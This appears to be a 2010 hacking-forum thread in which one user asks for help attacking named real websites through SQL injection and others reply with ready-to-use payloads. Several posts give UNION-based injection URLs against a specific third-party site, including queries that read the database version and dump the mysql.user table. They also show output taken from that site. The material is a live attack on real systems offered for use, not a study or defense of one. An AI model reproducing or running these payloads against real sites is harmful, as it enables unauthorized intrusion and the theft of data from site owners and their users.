does any have clue? i decided to attack website usin sql injection and i got this error i also tried with other but still the same , im sure everythin i did is correct but this error comes and it confuse the shit outta me heres the vuln website
http://www.solutionfocusedtrainers.co.uk...s.php?id=4
http://www.leadacidbatteryinfo.org/newsdetail.php?id=44
and oh yh merry chrismas and happy new year
i googled but found useless info same with search butt here
Thats because the website is using a version 4 type.
Version: 4.0.27-max-log
User: [email protected]
DB: db197803277
-Viral.
My HF addresses only.:
BTC: 1PB7ijSjz2HYudBSr4VamEPz1TqrAYwJE
ETH: 0x6aFf82dAb5E8F158D74BcaD81d7d90CD468dED10
(Dec 30, 2010 06:10 PM)Viral Dragon Wrote: Thats because the website is using a version 4 type.
Version: 4.0.27-max-log
User: [email protected]
DB: db197803277
-Viral. is it ? so it doesnt support union right
Rolla,
No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)
-Viral.
My HF addresses only.:
BTC: 1PB7ijSjz2HYudBSr4VamEPz1TqrAYwJE
ETH: 0x6aFf82dAb5E8F158D74BcaD81d7d90CD468dED10
The 1st site has 7 columns i think
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,@@version,5,6,7--
that was freakin' eazy stop C&P'ing and LEARN SQL injection! matey
(Dec 30, 2010 06:13 PM)Viral Dragon Wrote: Rolla,
No it does support union. All you had to do was a "-" sign in front the "4"
(e.g.: index.php?id=-4 union select 1,2,3,4,5,6,7,8--)
-Viral.
i try with - same and have the same problem.
(Dec 30, 2010 06:14 PM)Volim te Wrote: The 1st site has 7 columns i think
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2
,3,@@version,5,6,7--
i should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit things
Sended you a pm..
To short.
(Dec 30, 2010 06:18 PM)hackering Wrote: i try with - same and have the same problem.
Hackering,
Sure you tried? :: http://www.solutionfocusedtrainers.co.uk...sion,5,6,7--
Or did you put one too many columns because you tried 8
like my e.g. ?
-Viral.
My HF addresses only.:
BTC: 1PB7ijSjz2HYudBSr4VamEPz1TqrAYwJE
ETH: 0x6aFf82dAb5E8F158D74BcaD81d7d90CD468dED10
(Dec 30, 2010 06:18 PM)XxZzUniqueModZzxX Wrote: i should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit things Yea I all ways put the - this lol in helps and lol at this
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,user,5,6,7 from+mysql.user--
Dec 30, 2010 06:47 PM
(This post was last modified: Dec 30, 2010 06:51 PM by hackering.)
(Dec 30, 2010 06:25 PM)Viral Dragon Wrote: Hackering,
Sure you tried? :: http://www.solutionfocusedtrainers.co.uk...sion,5,6,7--
Or did you put one too many columns because you tried 8
like my e.g. ?
-Viral. yes i tried 8.. thant it works with 7 columns.... and why ?
Hackering,
So when you click the link you don't see the version being displayed?
-Viral.
My HF addresses only.:
BTC: 1PB7ijSjz2HYudBSr4VamEPz1TqrAYwJE
ETH: 0x6aFf82dAb5E8F158D74BcaD81d7d90CD468dED10
Dec 30, 2010 06:54 PM
(This post was last modified: Dec 30, 2010 06:56 PM by hackering.)
(Dec 30, 2010 06:51 PM)Viral Dragon Wrote: Hackering,
So when you click the link you don't see the version being displayed?
-Viral.
http://www.solutionfocusedtrainers.co.uk...sion,5,6,7--
4.0.27-max-log
sorry i understand now... i'm disturbed when i searched the number of columns.
Then your not having a problem.
If you see the version that means the "-" is working for you.
You just have to put it front the 4 before the = sign.
-Viral.
My HF addresses only.:
BTC: 1PB7ijSjz2HYudBSr4VamEPz1TqrAYwJE
ETH: 0x6aFf82dAb5E8F158D74BcaD81d7d90CD468dED10
|
